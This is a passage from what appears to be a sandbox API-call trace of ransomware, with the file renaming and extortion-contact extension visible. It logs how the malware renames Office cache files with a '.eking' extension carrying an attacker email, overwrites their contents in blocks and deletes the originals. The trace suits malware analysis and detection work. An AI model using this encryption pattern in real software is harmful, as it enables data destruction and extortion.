lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x2488, lpOverlapped=0x0) returned 1 [0233.074] FlushFileBuffers (hFile=0x1ac) returned 1 [0233.931] FlushFileBuffers (hFile=0x17c) returned 1 [0234.209] CloseHandle (hObject=0x1ac) returned 1 [0234.209] CloseHandle (hObject=0x17c) returned 1 [0234.210] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0234.211] SetEvent (hEvent=0xe0) returned 1 [0234.211] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0234.224] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2517504) returned 1 [0234.224] CloseHandle (hObject=0x17c) returned 1 [0234.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0234.224] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0234.225] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0234.225] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0234.225] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0234.225] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0234.323] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0234.323] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0234.471] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0234.471] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0234.530] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0234.531] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0234.550] SetEndOfFile (hFile=0x17c) returned 1 [0234.550] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0234.550] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0234.552] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0234.553] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0234.604] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0234.604] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0234.606] FlushFileBuffers (hFile=0x17c) returned 1 [0235.538] CloseHandle (hObject=0x17c) returned 1 [0235.549] SetEvent (hEvent=0xe0) returned 1 [0235.549] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0235.550] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=596341) returned 1 [0235.550] CloseHandle (hObject=0x17c) returned 1 [0235.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0235.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0235.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0235.551] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0235.551] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0235.551] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0235.551] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0235.551] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x91975, lpOverlapped=0x0) returned 1 [0235.722] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x91980, lpOverlapped=0x0) returned 1 [0235.738] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0235.739] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0235.739] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0235.739] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x91975, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x91975, lpOverlapped=0x0) returned 1 [0235.741] FlushFileBuffers (hFile=0x17c) returned 1 [0236.562] FlushFileBuffers (hFile=0x1ac) returned 1 [0236.608] CloseHandle (hObject=0x17c) returned 1 [0236.609] CloseHandle (hObject=0x1ac) returned 1 [0236.609] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0236.615] SetEvent (hEvent=0xe0) returned 1 [0236.618] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0236.619] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=868864) returned 1 [0236.619] CloseHandle (hObject=0x1ac) returned 1 [0236.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0236.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0236.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0236.619] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0236.619] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0236.619] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0236.619] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0236.620] ReadFile (in: hFile=0x1ac, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd4200, lpOverlapped=0x0) returned 1 [0237.136] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd4210, lpOverlapped=0x0) returned 1 [0237.161] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0237.161] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0237.161] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0237.161] WriteFile (in: hFile=0x1ac, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd4200, lpOverlapped=0x0) returned 1 [0237.164] FlushFileBuffers (hFile=0x1ac) returned 1 [0237.678] FlushFileBuffers (hFile=0x17c) returned 1 [0240.410] CloseHandle (hObject=0x1ac) returned 1 [0240.411] CloseHandle (hObject=0x17c) returned 1 [0240.411] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0240.419] SetEvent (hEvent=0xe0) returned 1 [0240.420] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0240.421] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1992192) returned 1 [0240.421] CloseHandle (hObject=0x17c) returned 1 [0240.421] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0240.421] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0240.422] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0240.422] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0240.422] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0240.423] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0240.426] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0240.426] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0240.431] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0240.432] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0240.444] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0240.444] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0240.527] SetEndOfFile (hFile=0x17c) returned 1 [0240.527] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0240.527] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0240.529] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0240.529] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0240.531] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0240.531] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0240.533] FlushFileBuffers (hFile=0x17c) returned 1 [0242.307] CloseHandle (hObject=0x17c) returned 1 [0242.308] SetEvent (hEvent=0xe0) returned 1 [0242.308] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0242.309] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=36233052) returned 1 [0242.309] CloseHandle (hObject=0x17c) returned 1 [0242.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0242.310] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0242.311] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0242.311] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0242.311] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0242.311] ReadFile (in: hFile=0x17c, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0242.317] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0242.317] ReadFile (in: hFile=0x17c, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0242.324] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0242.324] ReadFile (in: hFile=0x17c, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0242.341] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0242.341] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0112, lpOverlapped=0x0) returned 1 [0242.401] SetEndOfFile (hFile=0x17c) returned 1 [0242.401] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0242.401] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0242.416] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0242.416] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0242.417] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0242.417] WriteFile (in: hFile=0x17c, lpBuffer=0x331014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331014a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0242.418] FlushFileBuffers (hFile=0x17c) returned 1 [0244.033] CloseHandle (hObject=0x17c) returned 1 [0244.034] SetEvent (hEvent=0xe0) returned 1 [0244.035] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 